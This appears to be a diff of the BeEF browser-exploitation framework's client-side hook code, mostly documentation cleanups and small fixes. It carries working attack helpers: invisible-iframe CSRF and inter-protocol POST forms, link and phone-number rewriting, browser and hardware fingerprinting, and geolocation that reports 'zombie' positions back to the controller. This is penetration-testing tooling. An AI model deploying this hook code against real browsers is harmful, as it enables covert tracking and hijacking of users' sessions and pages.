||||
};
|
||||
|
||||
function unique(array) {
|
||||
return $j.grep(array, function(el, index) {
|
||||
return index === $j.inArray(el, array);
|
||||
});
|
||||
}
|
||||
|
||||
// Things lacking navigator.plugins
|
||||
if (!navigator.plugins)
|
||||
@@ -3938,8 +3949,8 @@ beef.browser = {
|
||||
// Sometimes store the version in description (Real, Adobe)
|
||||
else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
|
||||
}
|
||||
results = results.unique().toString();
|
||||
|
||||
results = unique(results).toString();
|
||||
|
||||
// All browsers that don't support navigator.plugins
|
||||
} else {
|
||||
results = new Array();
|
||||
@@ -4579,17 +4590,19 @@ beef.browser = {
|
||||
* This code is based on research from browserspy.dk
|
||||
*
|
||||
* @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
|
||||
* @return {Deferred promise} A jQuery deferred object promise, which when resolved passes
|
||||
* @return {Object} A jQuery deferred object promise, which when resolved passes
|
||||
* the number of connections to the callback function as "this"
|
||||
*
|
||||
* example usage:
|
||||
* $j.when(getMaxConnections()).done(function(){
|
||||
* console.debug("Max Connections: " + this);
|
||||
* });
|
||||
*
|
||||
*/
|
||||
getMaxConnections: function (scope) {
|
||||
|
||||
|
||||
|
||||
getMaxConnections: function (scope) {
|
||||
/*
|
||||
* example usage:
|
||||
* $j.when(getMaxConnections()).done(function(){
|
||||
* console.debug("Max Connections: " + this);
|
||||
* });
|
||||
*/
|
||||
var imagesCount = 30; // Max number of images to test
|
||||
var secondsTimeout = 5; // Image load timeout threashold
|
||||
var testUrl = ""; // The image testing service URL
|
||||
|
||||
@@ -1,19 +1,18 @@
|
||||
//
|
||||
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
/*!
|
||||
* @literal object: beef.browser.cookie
|
||||
*
|
||||
/**
|
||||
* Provides fuctions for working with cookies.
|
||||
* Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
|
||||
* Original author unknown.
|
||||
*
|
||||
* @namespace beef.browser.cookie
|
||||
*/
|
||||
beef.browser.cookie = {
|
||||
|
||||
/** @memberof beef.browser.cookie */
|
||||
setCookie: function (name, value, expires, path, domain, secure)
|
||||
{
|
||||
|
||||
@@ -32,7 +31,7 @@ beef.browser.cookie = {
|
||||
( ( domain ) ? ";domain=" + domain : "" ) +
|
||||
( ( secure ) ? ";secure" : "" );
|
||||
},
|
||||
|
||||
/** @memberof beef.browser.cookie */
|
||||
getCookie: function(name)
|
||||
{
|
||||
var a_all_cookies = document.cookie.split( ';' );
|
||||
@@ -63,7 +62,7 @@ beef.browser.cookie = {
|
||||
return null;
|
||||
}
|
||||
},
|
||||
|
||||
/** @memberof beef.browser.cookie */
|
||||
deleteCookie: function (name, path, domain)
|
||||
{
|
||||
if ( this.getCookie(name) ) document.cookie = name + "=" +
|
||||
@@ -72,7 +71,7 @@ beef.browser.cookie = {
|
||||
";expires=Thu, 01-Jan-1970 00:00:01 GMT";
|
||||
},
|
||||
|
||||
/* Never stop the madness dear C. */
|
||||
/** @memberof beef.browser.cookie */
|
||||
veganLol: function (){
|
||||
var to_hell= '';
|
||||
var min = 17;
|
||||
@@ -99,7 +98,7 @@ beef.browser.cookie = {
|
||||
}
|
||||
return to_hell;
|
||||
},
|
||||
|
||||
/** @memberof beef.browser.cookie */
|
||||
hasSessionCookies: function (name){
|
||||
this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
|
||||
|
||||
@@ -108,7 +107,7 @@ beef.browser.cookie = {
|
||||
return cookiesEnabled;
|
||||
|
||||
},
|
||||
|
||||
/** @memberof beef.browser.cookie */
|
||||
hasPersistentCookies: function (name){
|
||||
this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
|
||||
|
||||
|
||||
@@ -1,19 +1,17 @@
|
||||
//
|
||||
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
/*!
|
||||
* @literal object: beef.browser.popup
|
||||
*
|
||||
/**
|
||||
* Provides fuctions for working with cookies.
|
||||
* Several functions adopted from http://davidwalsh.name/popup-block-javascript
|
||||
* Original author unknown.
|
||||
*
|
||||
* @namespace beef.browser.popup
|
||||
*/
|
||||
beef.browser.popup = {
|
||||
|
||||
/** @memberof beef.browser.popup */
|
||||
blocker_enabled: function ()
|
||||
{
|
||||
screenParams = beef.hardware.getScreenSize();
|
||||
|
||||
@@ -1,20 +1,19 @@
|
||||
//
|
||||
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
/*!
|
||||
* @literal object: beef.dom
|
||||
*
|
||||
/**
|
||||
* Provides functionality to manipulate the DOM.
|
||||
* @namespace beef.dom
|
||||
*/
|
||||
beef.dom = {
|
||||
|
||||
/**
|
||||
* Generates a random ID for HTML elements
|
||||
* @param: {String} prefix: a custom prefix before the random id. defaults to "beef-"
|
||||
* @return: generated id
|
||||
* @param {String} prefix a custom prefix before the random id. defaults to "beef-"
|
||||
* @return {String} generated id
|
||||
*/
|
||||
generateID: function(prefix) {
|
||||
return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
|
||||
@@ -22,9 +21,9 @@ beef.dom = {
|
||||
|
||||
/**
|
||||
* Creates a new element but does not append it to the DOM.
|
||||
* @param: {String} the name of the element.
|
||||
* @param: {Literal Object} the attributes of that element.
|
||||
* @return: the created element.
|
||||
* @param {String} type the name of the element.
|
||||
* @param {Array} attributes the attributes of that element.
|
||||
* @return {Array} the created element.
|
||||
*/
|
||||
createElement: function(type, attributes) {
|
||||
var el = document.createElement(type);
|
||||
@@ -40,7 +39,7 @@ beef.dom = {
|
||||
|
||||
/**
|
||||
* Removes element from the DOM.
|
||||
* @param: {String or DOM Object} the target element to be removed.
|
||||
* @param {Object} el the target element to be removed.
|
||||
*/
|
||||
removeElement: function(el) {
|
||||
if (!beef.dom.isDOMElement(el))
|
||||
@@ -54,8 +53,8 @@ beef.dom = {
|
||||
|
||||
/**
|
||||
* Tests if the object is a DOM element.
|
||||
* @param: {Object} the DOM element.
|
||||
* @return: true if the object is a DOM element.
|
||||
* @param {Object} the DOM element.
|
||||
* @return {boolean} true if the object is a DOM element.
|
||||
*/
|
||||
isDOMElement: function(obj) {
|
||||
return (obj.nodeType) ? true : false;
|
||||
@@ -63,7 +62,7 @@ beef.dom = {
|
||||
|
||||
/**
|
||||
* Creates an invisible iframe on the hook browser's page.
|
||||
* @return: the iframe.
|
||||
* @return {array} the iframe.
|
||||
*/
|
||||
createInvisibleIframe: function() {
|
||||
var iframe = this.createElement('iframe', {
|
||||
@@ -79,10 +78,10 @@ beef.dom = {
|
||||
|
||||
/**
|
||||
* Returns the highest current z-index
|
||||
* @param: {Boolean} whether to return an associative array with the height AND the ID of the element
|
||||
* @return: {Integer} Highest z-index in the DOM
|
||||
* @param {Boolean} whether to return an associative array with the height AND the ID of the element
|
||||
* @return {Integer} Highest z-index in the DOM
|
||||
* OR
|
||||
* @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
|
||||
* @return {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
|
||||
*/
|
||||
getHighestZindex: function(include_id) {
|
||||
var highest = {'height':0, 'elem':''};
|
||||
@@ -105,11 +104,11 @@ beef.dom = {
|
||||
* Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
|
||||
* is assigned to created iframe tag's src attribute resulting in GET request to that URI.
|
||||
* example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
|
||||
* @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
|
||||
* @param: {Hash} params: list of params that will be sent in request.
|
||||
* @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
|
||||
* @param: {Function} a callback function to fire once the iFrame has loaded
|
||||
* @return: {Object} the inserted iFrame
|
||||
* @param {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
|
||||
* @param {Hash} params: list of params that will be sent in request.
|
||||
* @param {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
|
||||
* @param {Function} a callback function to fire once the iFrame has loaded
|
||||
* @return {Object} the inserted iFrame
|
||||
*
|
||||
*/
|
||||
createIframe: function(type, params, styles, onload) {
|
||||
@@ -150,8 +149,8 @@ beef.dom = {
|
||||
|
||||
/**
|
||||
* Load a full screen div that is black, or, transparent
|
||||
* @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not
|
||||
* @param: {Hash} options: a collection of options to customise how the div is configured, as follows:
|
||||
* @param {Boolean} vis: whether or not you want the screen dimmer enabled or not
|
||||
* @param {Hash} options: a collection of options to customise how the div is configured, as follows:
|
||||
* opacity:0-100 // Lower number = less grayout higher = more of a blackout
|
||||
* // By default this is 70
|
||||
* zindex: # // HTML elements with a higher zindex appear on top of the gray out
|
||||
@@ -219,9 +218,9 @@ beef.dom = {
|
||||
|
||||
/**
|
||||
* Create a form element with the specified parameters, appending it to the DOM if append == true
|
||||
* @param: {Hash} params: params to be applied to the form element
|
||||
* @param: {Boolean} append: automatically append the form to the body
|
||||
* @return: {Object} a form object
|
||||
* @param {Hash} params: params to be applied to the form element
|
||||
* @param {Boolean} append: automatically append the form to the body
|
||||
* @return {Object} a form object
|
||||
*/
|
||||
createForm: function(params, append) {
|
||||
var form = $j('<form></form>').attr(params);
|
||||
@@ -239,7 +238,7 @@ beef.dom = {
|
||||
|
||||
/**
|
||||
* Get the location of the current page.
|
||||
* @return: the location.
|
||||
* @return the location.
|
||||
*/
|
||||
getLocation: function() {
|
||||
return document.location.href;
|
||||
@@ -247,7 +246,7 @@ beef.dom = {
|
||||
|
||||
/**
|
||||
* Get links of the current page.
|
||||
* @return: array of URLs.
|
||||
* @return array of URLs.
|
||||
*/
|
||||
getLinks: function() {
|
||||
var linksarray = [];
|
||||
@@ -260,9 +259,9 @@ beef.dom = {
|
||||
|
||||
/**
|
||||
* Rewrites all links matched by selector to url, also rebinds the click method to simply return true
|
||||
* @param: {String} url: the url to be rewritten
|
||||
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
|
||||
* @return: {Number} the amount of links found in the DOM and rewritten.
|
||||
* @param {String} url: the url to be rewritten
|
||||
* @param {String} selector: the jquery selector statement to use, defaults to all a tags.
|
||||
* @return {Number} the amount of links found in the DOM and rewritten.
|
||||
*/
|
||||
rewriteLinks: function(url, selector) {
|
||||
var sel = (selector == null) ? 'a' : selector;
|
||||
@@ -277,9 +276,9 @@ beef.dom = {
|
||||
/**
|
||||
* Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
|
||||
* http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
|
||||
* @param: {String} url: the url to be rewritten
|
||||
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
|
||||
* @return: {Number} the amount of links found in the DOM and rewritten.
|
||||
* @param {String} url: the url to be rewritten
|
||||
* @param {String} selector: the jquery selector statement to use, defaults to all a tags.
|
||||
* @return {Number} the amount of links found in the DOM and rewritten.
|
||||
*/
|
||||
rewriteLinksClickEvents: function(url, selector) {
|
||||
var sel = (selector == null) ? 'a' : selector;
|
||||
@@ -293,10 +292,10 @@ beef.dom = {
|
||||
|
||||
/**
|
||||
* Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
|
||||
* @param: {String} old_protocol: the old link protocol to be rewritten
|
||||
* @param: {String} new_protocol: the new link protocol to be written
|
||||
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
|
||||
* @return: {Number} the amount of links found in the DOM and rewritten.
|
||||
* @param {String} old_protocol: the old link protocol to be rewritten
|
||||
* @param {String} new_protocol: the new link protocol to be written
|
||||
* @param {String} selector: the jquery selector statement to use, defaults to all a tags.
|
||||
* @return {Number} the amount of links found in the DOM and rewritten.
|
||||
*/
|
||||
rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {
|
||||
|
||||
@@ -319,9 +318,9 @@ beef.dom = {
|
||||
|
||||
/**
|
||||
* Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
|
||||
* @param: {String} new_number: the new link telephone number to be written
|
||||
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
|
||||
* @return: {Number} the amount of links found in the DOM and rewritten.
|
||||
* @param {String} new_number: the new link telephone number to be written
|
||||
* @param {String} selector: the jquery selector statement to use, defaults to all a tags.
|
||||
* @return {Number} the amount of links found in the DOM and rewritten.
|
||||
*/
|
||||
rewriteTelLinks: function(new_number, selector) {
|
||||
|
||||
@@ -343,9 +342,9 @@ beef.dom = {
|
||||
},
|
||||
|
||||
/**
|
||||
* Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
|
||||
* @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
|
||||
* @return: {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
|
||||
* Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
|
||||
* @param {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
|
||||
* @return {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
|
||||
*/
|
||||
parseAppletParams: function(params){
|
||||
var result = '';
|
||||
@@ -364,11 +363,11 @@ beef.dom = {
|
||||
* beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
|
||||
* example usage in the code, using codebase:
|
||||
* beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
|
||||
* @params: {String} id: reference identifier to the applet.
|
||||
* @params: {String} code: name of the class to be loaded. For example, beef.class.
|
||||
* @params: {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
|
||||
* @params: {String} archive: the jar that contains the code.
|
||||
* @params: {String} params: an array of additional params that the applet except.
|
||||
* @param {String} id: reference identifier to the applet.
|
||||
* @param {String} code: name of the class to be loaded. For example, beef.class.
|
||||
* @param {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
|
||||
* @param {String} archive: the jar that contains the code.
|
||||
* @param {String} params: an array of additional params that the applet except.
|
||||
*/
|
||||
attachApplet: function(id, name, code, codebase, archive, params) {
|
||||
var content = null;
|
||||
@@ -432,7 +431,7 @@ beef.dom = {
|
||||
|
||||
/**
|
||||
* Given an id, remove the applet from the DOM.
|
||||
* @params: {String} id: reference identifier to the applet.
|
||||
* @param {String} id: reference identifier to the applet.
|
||||
*/
|
||||
detachApplet: function(id) {
|
||||
$j('#' + id + '').detach();
|
||||
@@ -440,10 +439,10 @@ beef.dom = {
|
||||
|
||||
/**
|
||||
* Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
|
||||
* @params: {String} action: the form action attribute, where the request will be sent.
|
||||
* @params: {String} method: HTTP method, usually POST.
|
||||
* @params: {String} enctype: form encoding type
|
||||
* @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
|
||||
* @param {String} action: the form action attribute, where the request will be sent.
|
||||
* @param {String} method: HTTP method, usually POST.
|
||||
* @param {String} enctype: form encoding type
|
||||
* @param {Array} inputs: an array of inputs to be added to the form (type, name, value).
|
||||
* example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
|
||||
*/
|
||||
createIframeXsrfForm: function(action, method, enctype, inputs){
|
||||
@@ -477,9 +476,9 @@ beef.dom = {
|
||||
|
||||
/**
|
||||
* Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
|
||||
* @params: {String} rhost: remote host ip/domain
|
||||
* @params: {String} rport: remote port
|
||||
* @params: {String} commands: protocol commands to be executed by the remote host:port service
|
||||
* @param {String} rhost: remote host ip/domain
|
||||
* @param {String} rport: remote port
|
||||
* @param {String} commands: protocol commands to be executed by the remote host:port service
|
||||
*/
|
||||
createIframeIpecForm: function(rhost, rport, path, commands){
|
||||
var iframeIpec = beef.dom.createInvisibleIframe();
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -8,10 +8,18 @@
|
||||
|
||||
beef.encode = {};
|
||||
|
||||
/**
|
||||
* Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
|
||||
* @namespace beef.encode.base64
|
||||
*/
|
||||
beef.encode.base64 = {
|
||||
|
||||
keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
|
||||
|
||||
/**
|
||||
* @memberof beef.encode.base64
|
||||
* @param {string} input
|
||||
* @return {string}
|
||||
*/
|
||||
encode : function (input) {
|
||||
if (window.btoa) {
|
||||
return btoa(unescape(encodeURIComponent(input)));
|
||||
@@ -49,7 +57,11 @@ beef.encode.base64 = {
|
||||
return output;
|
||||
},
|
||||
|
||||
|
||||
/**
|
||||
* @memberof beef.encode.base64
|
||||
* @param {string} input
|
||||
* @return {string}
|
||||
*/
|
||||
decode : function (input) {
|
||||
if (window.atob) {
|
||||
return escape(atob(input));
|
||||
@@ -90,8 +102,12 @@ beef.encode.base64 = {
|
||||
|
||||
},
|
||||
|
||||
|
||||
utf8_encode : function (string) {
|
||||
/**
|
||||
* @memberof beef.encode.base64
|
||||
* @param {string} string
|
||||
* @return {string}
|
||||
*/
|
||||
utf8_encode : function (string) {
|
||||
string = string.replace(/\r\n/g,"\n");
|
||||
var utftext = "";
|
||||
|
||||
@@ -116,7 +132,11 @@ beef.encode.base64 = {
|
||||
|
||||
return utftext;
|
||||
},
|
||||
|
||||
/**
|
||||
* @memberof beef.encode.base64
|
||||
* @param {string} utftext
|
||||
* @return {string}
|
||||
*/
|
||||
utf8_decode : function (utftext) {
|
||||
var string = "";
|
||||
var i = 0;
|
||||
|
||||
@@ -1,13 +1,19 @@
|
||||
//
|
||||
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
// Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
|
||||
/**
|
||||
* Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
|
||||
* @namespace beef.encode.json
|
||||
*/
|
||||
|
||||
beef.encode.json = {
|
||||
|
||||
/**
|
||||
* @memberof beef.encode.json
|
||||
* @param o
|
||||
*/
|
||||
stringify: function(o) {
|
||||
if (typeof(JSON) == 'object' && JSON.stringify) {
|
||||
// Error on stringifying cylcic structures caused polling to die
|
||||
@@ -97,7 +103,10 @@ beef.encode.json = {
|
||||
return "{" + pairs.join(", ") + "}";
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* @memberof beef.encode.json
|
||||
* @param string
|
||||
*/
|
||||
quoteString: function(string) {
|
||||
if (string.match(this._escapeable))
|
||||
{
|
||||
|
||||
@@ -1,25 +1,30 @@
|
||||
//
|
||||
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
/*!
|
||||
* @literal object: beef.geolocation
|
||||
*
|
||||
/**
|
||||
* Provides functionalities to use the geolocation API.
|
||||
* @namespace beef.geolocation
|
||||
*/
|
||||
|
||||
beef.geolocation = {
|
||||
|
||||
/**
|
||||
* check if browser supports the geolocation API
|
||||
* Check if browser supports the geolocation API
|
||||
* @return {boolean}
|
||||
*/
|
||||
isGeolocationEnabled: function(){
|
||||
return !!navigator.geolocation;
|
||||
},
|
||||
|
||||
/*
|
||||
* given latitude/longitude retrieves exact street position of the zombie
|
||||
/**
|
||||
* Given latitude/longitude retrieves exact street position of the zombie
|
||||
* @param command_url
|
||||
* @param command_id
|
||||
* @param latitude
|
||||
* @param longitude
|
||||
*/
|
||||
getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
|
||||
|
||||
@@ -40,23 +45,26 @@ beef.geolocation = {
|
||||
},
|
||||
success: function(data, status, xhr){
|
||||
beef.debug("[geolocation.js] openstreetmap success");
|
||||
var jsonResp = $j.parseJSON(data);
|
||||
//var jsonResp = $j.parseJSON(data);
|
||||
|
||||
beef.net.send(command_url, command_id, "latitude=" + latitude
|
||||
+ "&longitude=" + longitude
|
||||
// + "&osm=" + encodeURI(jsonResp.display_name)
|
||||
+ "&osm=tofix"
|
||||
+ "&osm=" + data.display_name
|
||||
+ "&geoLocEnabled=True");
|
||||
},
|
||||
type: "get",
|
||||
url: "http://nominatim.openstreetmap.org/reverse?format=json&lat=" +
|
||||
dataType: "json",
|
||||
url: "https://nominatim.openstreetmap.org/reverse?format=jsonv2&lat=" +
|
||||
latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
/*
|
||||
* retrieve latitude/longitude using the geolocation API
|
||||
/**
|
||||
* Retrieve latitude/longitude using the geolocation API
|
||||
* @param command_url
|
||||
* @param command_id
|
||||
*/
|
||||
getGeolocation: function (command_url, command_id){
|
||||
|
||||
|
||||
@@ -1,16 +1,20 @@
|
||||
//
|
||||
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
/**
|
||||
* @namespace beef.hardware
|
||||
*/
|
||||
|
||||
beef.hardware = {
|
||||
|
||||
ua: navigator.userAgent,
|
||||
|
||||
/*
|
||||
* @return: {String} CPU type
|
||||
**/
|
||||
/**
|
||||
* @return {String} CPU type
|
||||
*/
|
||||
getCpuArch: function() {
|
||||
var arch = 'UNKNOWN';
|
||||
// note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested
|
||||
@@ -39,7 +43,8 @@ beef.hardware = {
|
||||
|
||||
/**
|
||||
* Returns number of CPU cores
|
||||
**/
|
||||
* @return {String}
|
||||
*/
|
||||
getCpuCores: function() {
|
||||
var cores = 'unknown';
|
||||
try {
|
||||
@@ -54,7 +59,8 @@ beef.hardware = {
|
||||
|
||||
/**
|
||||
* Returns CPU details
|
||||
**/
|
||||
* @return {String}
|
||||
*/
|
||||
getCpuDetails: function() {
|
||||
return {
|
||||
arch: beef.hardware.getCpuArch(),
|
||||
@@ -64,7 +70,8 @@ beef.hardware = {
|
||||
|
||||
/**
|
||||
* Returns GPU details
|
||||
**/
|
||||
* @return {object}
|
||||
*/
|
||||
getGpuDetails: function() {
|
||||
var gpu = 'unknown';
|
||||
var vendor = 'unknown';
|
||||
@@ -98,7 +105,8 @@ beef.hardware = {
|
||||
|
||||
/**
|
||||
* Returns RAM (GiB)
|
||||
**/
|
||||
* @return {String}
|
||||
*/
|
||||
getMemory: function() {
|
||||
var memory = 'unknown';
|
||||
try {
|
||||
@@ -113,7 +121,8 @@ beef.hardware = {
|
||||
|
||||
/**
|
||||
* Returns battery details
|
||||
**/
|
||||
* @return {Object}
|
||||
*/
|
||||
getBatteryDetails: function() {
|
||||
var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery;
|
||||
|
||||
@@ -136,6 +145,7 @@ beef.hardware = {
|
||||
|
||||
/**
|
||||
* Returns zombie screen size and color depth.
|
||||
* @return {Object}
|
||||
*/
|
||||
getScreenSize: function () {
|
||||
return {
|
||||
@@ -145,17 +155,19 @@ beef.hardware = {
|
||||
}
|
||||
},
|
||||
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
/**
|
||||
* Is touch enabled?
|
||||
* @return {Boolean} true or false.
|
||||
*/
|
||||
isTouchEnabled: function() {
|
||||
if ('ontouchstart' in document) return true;
|
||||
return false;
|
||||
},
|
||||
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
/**
|
||||
* Is virtual machine?
|
||||
* @return {Boolean} true or false.
|
||||
*/
|
||||
isVirtualMachine: function() {
|
||||
if (this.getGpuDetails().vendor.match('VMware, Inc'))
|
||||
return true;
|
||||
@@ -171,9 +183,10 @@ beef.hardware = {
|
||||
return false;
|
||||
},
|
||||
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
/**
|
||||
* Is a Laptop?
|
||||
* @return {Boolean} true or false.
|
||||
*/
|
||||
isLaptop: function() {
|
||||
if (this.isMobileDevice()) return false;
|
||||
// Most common laptop screen resolution
|
||||
@@ -183,64 +196,70 @@ beef.hardware = {
|
||||
return false;
|
||||
},
|
||||
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
/**
|
||||
* Is Nokia?
|
||||
* @return {Boolean} true or false.
|
||||
*/
|
||||
isNokia: function() {
|
||||
return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)|(Lumia )')) ? true : false;
|
||||
},
|
||||
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
/**
|
||||
* Is Zune?
|
||||
* @return {Boolean} true or false.
|
||||
*/
|
||||
isZune: function() {
|
||||
return (this.ua.match('ZuneWP7')) ? true : false;
|
||||
},
|
||||
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
/**
|
||||
* Is HTC?
|
||||
* @return {Boolean} true or false.
|
||||
*/
|
||||
isHtc: function() {
|
||||
return (this.ua.match('HTC')) ? true : false;
|
||||
},
|
||||
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
/**
|
||||
* Is Ericsson?
|
||||
* @return {Boolean} true or false.
|
||||
*/
|
||||
isEricsson: function() {
|
||||
return (this.ua.match('Ericsson')) ? true : false;
|
||||
},
|
||||
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
/**
|
||||
* Is Motorola?
|
||||
* @return {Boolean} true or false.
|
||||
*/
|
||||
isMotorola: function() {
|
||||
return (this.ua.match('Motorola')) ? true : false;
|
||||
},
|
||||
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
/**
|
||||
* Is Google?
|
||||
* @return {Boolean} true or false.
|
||||
*/
|
||||
isGoogle: function() {
|
||||
return (this.ua.match('Nexus One')) ? true : false;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if the browser is on a Mobile device
|
||||
* @return: {Boolean} true or false
|
||||
* @return {Boolean} true or false
|
||||
*
|
||||
* @example: if(beef.hardware.isMobileDevice()) { ... }
|
||||
**/
|
||||
*/
|
||||
isMobileDevice: function() {
|
||||
return MobileEsp.DetectMobileQuick();
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if the browser is on a game console
|
||||
* @return: {Boolean} true or false
|
||||
* @return {Boolean} true or false
|
||||
*
|
||||
* @example: if(beef.hardware.isGameConsole()) { ... }
|
||||
**/
|
||||
*/
|
||||
isGameConsole: function() {
|
||||
return MobileEsp.DetectGameConsole();
|
||||
},
|
||||
|
||||
@@ -1,17 +1,18 @@
|
||||
//
|
||||
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
/**
|
||||
* @literal object: beef.init
|
||||
* Contains the beef_init() method which starts the BeEF client-side
|
||||
* logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
|
||||
*
|
||||
* If beef.pageIsLoaded is true, then this JS has been loaded >1 times
|
||||
* and will have a new session id. The new session id will need to know
|
||||
* the brwoser details. So sendback the browser details again.
|
||||
*
|
||||
* @namespace beef.init
|
||||
*/
|
||||
|
||||
beef.session.get_hook_session_id();
|
||||
@@ -19,11 +20,15 @@ beef.session.get_hook_session_id();
|
||||
if (beef.pageIsLoaded) {
|
||||
beef.net.browser_details();
|
||||
}
|
||||
|
||||
/**
|
||||
* @memberof beef.init
|
||||
*/
|
||||
window.onload = function () {
|
||||
beef_init();
|
||||
};
|
||||
|
||||
/**
|
||||
* @memberof beef.init
|
||||
*/
|
||||
window.onpopstate = function (event) {
|
||||
if (beef.onpopstate.length > 0) {
|
||||
event.preventDefault;
|
||||
@@ -38,7 +43,9 @@ window.onpopstate = function (event) {
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* @memberof beef.init
|
||||
*/
|
||||
window.onclose = function (event) {
|
||||
